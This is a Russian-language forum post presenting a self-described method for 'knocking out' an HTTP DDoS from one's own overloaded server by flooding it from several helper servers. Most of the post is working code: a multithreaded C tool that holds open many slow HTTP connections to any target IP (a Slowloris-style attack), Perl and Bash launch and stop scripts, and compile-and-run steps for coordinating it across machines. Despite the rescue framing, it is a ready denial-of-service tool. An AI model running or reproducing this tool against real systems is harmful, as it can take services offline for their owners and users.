Привет всем.
Ловите просто так неклассичный метод выбивания HTTP-DDoS с вашего сервера, на который у вас больше нет доступа (вы не успеваете зайти на него по SSH - соединение рвётся удалённым сервом).
Ахтунг. Для корректной работы советую использовать три-четыре сервера "армии освобождения".
Итак.
Пусть у нас есть сервер под атакой ($IP). Яркими признаками DDoS атаки по HTTP является крайне медленное открытие сокета на 80, 443 порты. Быстрое открывание сокета на SSH либо любые другие сервисы, но невозможность получить ответ вовремя.
Топаем на наш второй сервер (чем он ближе к отбиваемому и чем толще у него канал, тем лучше нам - будет выше эффективность).
Нам понадобится gcc и pth для работы "выбивалки" и perl для системы мониторинга. Также понадобится screen для распараллеливания.
Наши исходные программы:
run.c
PHP код:
#include <pthread.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <signal.h>
int MAX_TH = 10;
const int timeout = 1; // seconds
const int port = 80;
pthread_t * threads;
char * host = NULL;
char initial_message[] = "GET / HTTP/1.0\r\nHost: localhost\r\n";
void PERROR(const char * msg, int error) {
if (msg) {
write(1, msg, strlen(msg));
write(1, ": ", 2);
}
write(1, strerror(error), strlen(strerror(error)));
write(1, "\n", 1);
}
void pipe_handler(int sig) {
signal(sig, pipe_handler);
}
void * run_thread(void * idenc) {
while (1) {
int r;
int s;
int i;
struct sockaddr_in addr;
char buff[] = "1: 1\r\n";
int id = (int)idenc;
s = socket(PF_INET, SOCK_STREAM, 0);
addr.sin_family = PF_INET;
addr.sin_port = htons(port);
inet_aton(host, &addr.sin_addr);
r = connect(s, (const struct sockaddr *)&addr, sizeof(addr));
if (r < 0) {
PERROR("Connection failed", r);
//sleep(timeout);
continue;
}
r = send(s, initial_message, sizeof(initial_message), 0);
//
while (r > 0) {
sleep(timeout);
r = send(s, buff, sizeof(buff), 0);
}
//
close(s);
}
pthread_exit(NULL);
return NULL;
}
int main(int argc, char ** argv) {
int i;
int r;
if (argc > 2) {
int threads = atoi(argv[2]);
if (threads <= 0)
fprintf(stderr, "Invalid max number of threads\n");
MAX_TH = threads;
} else if (argc < 2) {
fprintf(stderr, "Usage: %s target_host_ip [max_threads]\n", argv[0]);
return 1;
}
host = argv[1];
threads = (pthread_t *)malloc(sizeof(pthread_t) * MAX_TH);
for (i = 0; i < MAX_TH; i++) {
r = pthread_create(&threads[i], NULL, run_thread, (void *)i);
if (r) PERROR("pthread_create", r);
pthread_detach(threads[i]);
}
signal(SIGPIPE, pipe_handler);
pthread_exit(NULL);
return 0;
}
start.pl
PHP код:
#!/usr/bin/perl
$toStart = 20;
$server = "TARGET IP";
for ($i=0;$i<$toStart;$i++) {
system("screen -d -m ./a.out ".$server." 350");
sleep(3);
}
for (;;) {
undef(@ar);
open(CMD, "netstat -an | grep EST | grep ".$server.":80 |");
@ar = <CMD>;
close(CMD);
print "Now=".$#ar."\n";
sleep(2);
}
stop.pl
PHP код:
#!/bin/bash
pkill -9 screen
screen -wipe
Укладываем всю эту красоту в одну папочку.
Компилируем и выдаём права на исполнение
Код:
gcc run.c -lpthread
chmod +x ./start.pl
chmod +x ./stop.pl
Получаем фалик a.out
Внутри уже прошиты константы (20х350) "мощности" нашего войска на сервер. Выполняем вот такие операции с копированием и компилированием программ на сервера "армии освобождения". И потом запускаем start.pl на всех этих серверах.
Я вам настоятельно советую следить за статусом серверов "освободителей" - у меня одна такая армия сразу догнала ненагруженный сервер до 35 процессов в очереди.
После того как операция завершена и доступ на сервер получен, стоит запустить stop.pl на каждом из серверов-"освободителей".
Мощность этой системы пока слабоизучена. Однако, мне она помогла освободить достаточно хлипкий сервер, на который летело 450 запросов в секунду в ни в чём неповинный бедный вордпресс менее чем за 4 минуты (при помощи двух серверов-освободителей).
MrBananas [
http://mrbananas.ru]
Dragonfly [
http://octets.ru]